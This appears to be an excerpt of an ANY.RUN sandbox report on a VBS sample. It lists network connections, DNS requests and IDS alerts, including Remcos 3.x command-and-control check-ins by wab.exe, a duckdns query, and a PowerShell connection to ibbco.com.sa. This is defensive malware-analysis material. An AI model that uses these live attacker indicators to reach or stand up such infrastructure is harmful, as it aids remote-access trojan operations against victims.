http://geoplugin.net/json.gp
unknown
—
—
whitelisted
6452
wab.exe
GET
200
172.64.149.23:80
http://ocsp.comodoca.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEQDwHUvue3yjezwFZqwFlyRY
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3180
RUXIMICS.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
2120
MoUsoCoreWorker.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5144
svchost.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6736
powershell.exe
212.76.85.113:443
ibbco.com.sa
Sahara Network
SA
unknown
5144
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3260
svchost.exe
40.113.110.67:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5048
svchost.exe
20.190.159.71:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5048
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
2120
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 172.217.18.14
whitelisted
ibbco.com.sa
  • 212.76.85.113
unknown
settings-win.data.microsoft.com
  • 51.104.136.2
  • 13.71.55.58
whitelisted
client.wns.windows.com
  • 40.113.110.67
whitelisted
login.live.com
  • 20.190.159.71
  • 20.190.159.0
  • 20.190.159.64
  • 40.126.31.73
  • 20.190.159.23
  • 20.190.159.75
  • 40.126.31.71
  • 40.126.31.69
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
arc.msn.com
  • 20.223.35.26
whitelisted
slscr.update.microsoft.com
  • 20.114.59.183
whitelisted
www.microsoft.com
  • 95.101.149.131
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.3.187.198
whitelisted

Threats

PID
Process
Class
Message
2256
svchost.exe
Potentially Bad Traffic
ET INFO DYNAMIC_DNS Query to a *.duckdns .org Domain
2256
svchost.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
6452
wab.exe
Malware Command and Control Activity Detected
ET MALWARE Remcos 3.x Unencrypted Checkin
6452
wab.exe
Malware Command and Control Activity Detected
ET MALWARE Remcos 3.x Unencrypted Server Response
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
DonghwanPOGM210820242020032108174KR18190824pu.vbs